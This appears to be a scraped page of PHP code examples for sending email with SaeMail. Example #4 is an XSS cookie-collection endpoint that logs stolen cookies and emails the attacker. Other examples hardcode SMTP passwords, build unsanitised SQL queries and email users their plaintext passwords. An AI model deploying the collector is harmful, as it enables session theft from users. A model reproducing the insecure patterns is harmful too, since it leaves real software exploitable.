/**
  * 快捷发送一封邮件
  * @param string $to 收件人
  * @param string $sub 邮件主题
  * @param string $msg 邮件内容(HTML)
  * @param array $att 附件,每个键为文件名称,值为附件内容(可以为二进制文件),例如array('a.txt' => 'abcd' , 'b.png' => file_get_contents('x.png'))
  * @return bool 成功:true 失败:错误消息
  */
 public static function mail($to, $sub = '无主题', $msg = '无内容', $att = array())
 {
     if (defined("SAE_MYSQL_DB") && class_exists('SaeMail')) {
         $mail = new SaeMail();
         $options = array('from' => option::get('mail_name'), 'to' => $to, 'smtp_host' => option::get('mail_host'), 'smtp_port' => option::get('mail_port'), 'smtp_username' => option::get('mail_smtpname'), 'smtp_password' => option::get('mail_smtppw'), 'subject' => $sub, 'content' => $msg, 'content_type' => 'HTML');
         $mail->setOpt($options);
         $ret = $mail->send();
         if ($ret === false) {
             return 'Mail Send Error: #' . $mail->errno() . ' - ' . $mail->errmsg();
         } else {
             return true;
         }
     } else {
         $From = option::get('mail_name');
         if (option::get('mail_mode') == 'SMTP') {
             $Host = option::get('mail_host');
             $Port = intval(option::get('mail_port'));
             $SMTPAuth = (bool) option::get('mail_auth');
             $Username = option::get('mail_smtpname');
             $Password = option::get('mail_smtppw');
             $Nickname = option::get('mail_yourname');
             if (option::get('mail_ssl') == '1') {
                 $SSL = true;
             } else {
                 $SSL = false;
             }
             $mail = new SMTP($Host, $Port, $SMTPAuth, $Username, $Password, $SSL);
             $mail->att = $att;
             if ($mail->send($to, $From, $sub, $msg, $Nickname)) {
                 return true;
             } else {
                 return $mail->log;
             }
         } else {
             $name = option::get('mail_yourname');
             $mail = new PHPMailer();
             $mail->setFrom($From, $name);
             $mail->addAddress($to);
             $mail->Subject = $sub;
             $mail->msgHTML($msg);
             $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!';
             foreach ($att as $n => $d) {
                 $mail->addStringAttachment($d, "=?UTF-8?B?" . base64_encode($n) . "?=", 'base64', get_mime(get_extname($n)));
             }
             if (!$mail->send()) {
                 return $mail->ErrorInfo;
             } else {
                 return true;
             }
         }
     }
 }
Example #2
0
 /**
  * 快捷发送一封邮件
  * @param string $to 收件人
  * @param string $sub 邮件主题
  * @param string $msg 邮件内容(HTML)
  * @param array $att 附件,每个键为文件名称,值为附件内容(可以为二进制文件),例如array('a.txt' => 'abcd' , 'b.png' => file_get_contents('x.png'))
  * @return bool 成功:true 失败:错误消息
  */
 public static function mail($to, $sub = '无主题', $msg = '无内容', $att = array())
 {
     if (defined("SAE_MYSQL_DB") && class_exists('SaeMail')) {
         $mail = new SaeMail();
         $options = array('from' => option::get('mail_name'), 'to' => $to, 'smtp_host' => option::get('mail_host'), 'smtp_port' => option::get('mail_port'), 'smtp_username' => option::get('mail_smtpname'), 'smtp_password' => option::get('mail_smtppw'), 'subject' => $sub, 'content' => $msg, 'content_type' => 'HTML');
         $mail->setOpt($options);
         $ret = $mail->send();
         if ($ret === false) {
             return 'Mail Send Error: #' . $mail->errno() . ' - ' . $mail->errmsg();
         } else {
             return true;
         }
     } else {
         $From = option::get('mail_name');
         if (option::get('mail_mode') == 'SMTP') {
             $Host = option::get('mail_host');
             $Port = intval(option::get('mail_port'));
             $SMTPAuth = (bool) option::get('mail_auth');
             $Username = option::get('mail_smtpname');
             $Password = option::get('mail_smtppw');
             $Nickname = option::get('mail_yourname');
             if (option::get('mail_ssl') == '1') {
                 $SSL = true;
             } else {
                 $SSL = false;
             }
             $mail = new SMTP($Host, $Port, $SMTPAuth, $Username, $Password, $SSL);
             $mail->att = $att;
             if ($mail->send($to, $From, $sub, $msg, $Nickname)) {
                 return true;
             } else {
                 return $mail->log;
             }
         } else {
             $header = "MIME-Version:1.0\r\n";
             $header .= 'Content-type: text/html; charset=utf-8' . "\r\n";
             $header .= "To: " . $to . "\r\n";
             $header .= "From: " . $From . "\r\n";
             $header .= "Subject: " . $sub . "\r\n";
             $header .= 'Reply-To: ' . $From . "\r\n";
             $header .= "Date: " . date("r") . "\r\n";
             $header .= "Content-Transfer-Encoding: base64\r\n";
             return mail($to, $sub, base64_encode($msg), $header);
         }
     }
 }
Example #3
0
 public function sendMail()
 {
     $mailbox = $_POST['mailbox'];
     $title = $_POST['title'];
     $content = $_POST['content'];
     $mail = new SaeMail();
     //$mail->setAttach( array("my_photo.jpg" => "照片的二进制数据" ));
     $ret = $mail->quickSend($mailbox, $title, $content, "*****@*****.**", "jjaazz901222");
     $mail->clean();
     if ($ret === false) {
         var_dump($mail->errno(), $mail->errmsg());
     } else {
         // 更新日志
         //=================
         $data['module'] = '后台管理-邮件';
         $data['operation'] = '发送邮件:mailbox=' . $mailbox . " title=" . $title;
         $data['update_user'] = $_SESSION['tennis-user']['id'];
         $data['ip'] = $this->getIP();
         $log = M('operation_log');
         $log->add($data);
         //=================
         $this->success('发送成功!', '/');
     }
 }
Example #4
0
<?php

$conn = mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT, SAE_MYSQL_USER, SAE_MYSQL_PASS);
$location = $_GET['location'];
$cookie = $_GET['cookie'];
$sql = "INSERT INTO cookies (location,cookie) VALUES ('" . $location . "', '" . $cookie . "')";
mysql_select_db(SAE_MYSQL_DB, $conn);
mysql_query($sql, $conn);
mysql_close($conn);
$title = '亲,您的cookie 到了~';
$content = '您的cookie 到了~
猛戳此处查看:http://xss.chuhades.com';
$mail = new SaeMail();
$ret = $mail->quickSend('收信邮箱', $title, $content, '发信邮箱', '发信邮箱密码');
//发送失败时输出错误码和错误信息
if ($ret === false) {
    var_dump($mail->errno(), $mail->errmsg());
}
Example #5
0
 public function mail()
 {
     //现在暂不支持gmail邮箱和附件上传,建议使用新浪邮箱测试。注意需要开启你邮箱的smtp功能。
     $mail = new SaeMail();
     $ret = $mail->quickSend('*****@*****.**', '邮件标题', '邮件内容', '*****@*****.**', '123456');
     if ($ret === false) {
         var_dump($mail->errno(), $mail->errmsg());
     } else {
         echo "邮件发送成功,请更改源码,将邮箱改为自己的测试";
     }
 }
Example #6
0
 /**
  * 用内置的邮箱发送邮件
  *
  * $mpid
  * $subject string
  * $content string HTML格式
  * $to 收件人的邮箱
  */
 protected function send_email($mpid, $subject, $content, $to)
 {
     $features = $this->model('mp\\mpaccount')->getFeatures($mpid);
     if (!empty($features->admin_email) && !empty($features->admin_email_pwd) && !empty($features->admin_email_smtp)) {
         $smtp = $features->admin_email_smtp;
         $port = $features->admin_email_port;
         $email = $features->admin_email;
         $pwd = $this->model()->encrypt($features->admin_email_pwd, 'DECODE', $mpid);
     } else {
         /**
          * todo 是否考虑去掉?
          */
         $smtp = 'smtp.163.com';
         $port = 25;
         $email = '*****@*****.**';
         $pwd = 'p0o9i8u7';
     }
     if (defined('SAE_MYSQL_DB')) {
         // sae
         $mail = new \SaeMail();
         if ($mail->setOpt(array('from' => $email, 'to' => $to, 'subject' => $subject, 'content' => $content, 'content_type' => 'HTML', 'smtp_host' => $smtp, 'smtp_port' => $port, 'smtp_username' => $email, 'smtp_password' => $pwd, 'tls' => false))) {
             if (!$mail->send()) {
                 return '邮件发送错误(' . $mail->errno() . '):' . $mail->errmsg();
             }
         } else {
             return '邮件参数设置错误(' . $mail->errno() . '):' . $mail->errmsg();
         }
     } else {
         require_once dirname(dirname(__FILE__)) . '/lib/mail/SmtpMail.php';
         $smtp = new \SmtpMail($smtp, $port, $email, $pwd);
         $smtp->send($email, $to, $subject, $content);
     }
     return true;
 }
 public function attachmail()
 {
     $a = 0;
     if (!empty($_FILES)) {
         //
         // var_dump($_FILES);
         import("@.ORG.UploadFile");
         $config = array('allowExts' => array('jpg', 'gif', 'png'), 'savePath' => './Public/upload/', 'saveRule' => 'time');
         $upload = new UploadFile($config);
         $upload->imageClassPath = "@.ORG.Image";
         $upload->thumb = true;
         $upload->thumbMaxHeight = 100;
         $upload->thumbMaxWidth = 100;
         if (!$upload->upload()) {
             $this->error($upload->getErrorMsg());
         } else {
             $info = $upload->getUploadFileInfo();
             $this->assign('filename', $info[0]['savename']);
             //模版引用变量{$filename}
             //$GLOBALS['image'] = $info[0]['savename'];
             //抓				取			图			像
             $f = new SaeFetchurl();
             //  var_dump($info[0]['savename']);
             // var_dump($info);
             // var_dump($a);
             $img_data = $f->fetch("http://thinkfortest-public.stor.sinaapp.com/upload/" . $info[0]['savename']);
             $img = new SaeImage();
             $img->setData($img_data);
             $new_data = $img->exec();
             //var_dump($new_data);
             $a = 1;
         }
     }
     if (isset($_POST['sub1'])) {
         $subject = $_POST['subject'];
         $content = $_POST['content'];
         //现在暂不支持gmail邮箱和附件上传,建议使用新浪邮箱测试。注意需要开启你邮箱的smtp功能。
         /*            $f = new SaeFetchurl();
                     var_dump($GLOBALS['image']);
                     var_dump($a);
                     $img_data = $f->fetch( "http://thinkfortest-public.stor.sinaapp.com/upload/".$GLOBALS['image']);
                     //$img = file_get_contents('http://www.baidu.com/img/bdlogo.png');
                     //var_dump($img_data);
                     $img = new SaeImage();
                     $img->setData( $img_data );
                     $new_data = $img->exec();*/
         //var_dump($new_data);
         $mail = new SaeMail();
         if ($a = 1) {
             $mail->setAttach(array($info[0]['name'] => $new_data));
         }
         $ret = $mail->quickSend('*****@*****.**', $subject, $content, '*****@*****.**', 'wsxhq850687192');
         if ($ret === false) {
             var_dump($mail->errno(), $mail->errmsg());
         } else {
             echo "邮件发送成功!";
         }
     }
     $this->display();
 }
Example #8
0
 public function signup()
 {
     if (count($_POST) > 0) {
         $username = htmlspecialchars($_POST['username']);
         $email = htmlspecialchars($_POST['email']);
         $User = M("User");
         $condition['name'] = $username;
         $condition["email"] = $email;
         $condition["_logic"] = "OR";
         $res = $User->where($condition)->select();
         if (count($res) > 0) {
             $this->assign("error_message", "该用户已存在,请登录");
             $this->display('index');
         } else {
             $data['name'] = htmlspecialchars($_POST['username']);
             $data['email'] = htmlspecialchars($_POST['email']);
             $data['password'] = md5(htmlspecialchars($_POST['password']));
             $data['token'] = md5($_POST['username'] . $_POST['email'] . $_POST['password']);
             $phptime = time();
             $mysqltime = date("Y-m-d H:i:s", $phptime);
             $data['time'] = $mysqltime;
             $data['status'] = '0';
             $res = $User->add($data);
             $mail = new SaeMail();
             $token = $data['token'];
             if (IS_SAE) {
                 # code...
                 $mail_body = "亲爱的" . $username . ":感谢您在我站注册了新账号。http://cruise.sinaapp.com/index.php/Index/verify?token=" . $token;
             } else {
                 $mail_body = "亲爱的" . $username . ":感谢您在我站注册了新账号。http://www.sae.com/index.php/Index/verify?token=" . $token;
             }
             $ret = $mail->quickSend($data['email'], 'Photo 注册验证', $mail_body, '*****@*****.**', 'sxs@19901202');
             if ($ret === false) {
                 var_dump($mail->errno(), $mail->errmsg());
             } else {
                 //echo "邮件发送成功,请更改源码,将邮箱改为自己的测试";
                 $logincookie = md5($_POST['username'] . $_POST['password']);
                 $domain = $_SERVER['HTTP_HOST'] != 'localhost' ? $_SERVER['HTTP_HOST'] : false;
                 setcookie('login', $logincookie, time() + 60 * 60 * 24 * 365, '/', $domain, false);
                 $stat = M("stat");
                 $res = $User->where($condition)->limit(1)->select();
                 $_SESSION['uid'] = $res[0]['uid'];
                 $data['uid'] = $res[0]['uid'];
                 $data['cookie'] = $logincookie;
                 $data['status'] = "login";
                 $stat->add($data);
                 $this->assign('error_message', "注册成功,请登录");
                 $this->assign('signup', 0);
                 $this->redirect('Photo/index', '', 0, '');
                 //$this->display('index');
             }
         }
     } else {
         $_global_arr['signup'] = 1;
         $this->assign('signup', 1);
         $this->display('index');
     }
 }
 public function getBackPasswordSubmit()
 {
     $mailbox = $_POST['mailbox'];
     $condition['mailbox'] = $mailbox;
     $User = M('User');
     $result = $User->where($condition)->getField("mailbox, password");
     if ($result) {
         $mail = new SaeMail();
         //$mail->setAttach( array("my_photo.jpg" => "照片的二进制数据" ));
         $ret = $mail->quickSend($mailbox, "网动青春密码找回", "尊敬的用户:\n                您好!这是您网动青春官方网站的账户密码(" . $result[$mailbox] . "),请妥善保管,如有必要可在用户中心进行修改。感谢您的支持与关注!\n                \n                \t\t\t爱网球,爱青春,你我同行。——网动青春", "*****@*****.**", "jjaazz901222");
         $mail->clean();
         if ($ret === false) {
             var_dump($mail->errno(), $mail->errmsg());
         } else {
             $this->success('发送成功,请注意查收!', '/');
         }
     } else {
         $this->error('该邮箱未注册!');
     }
 }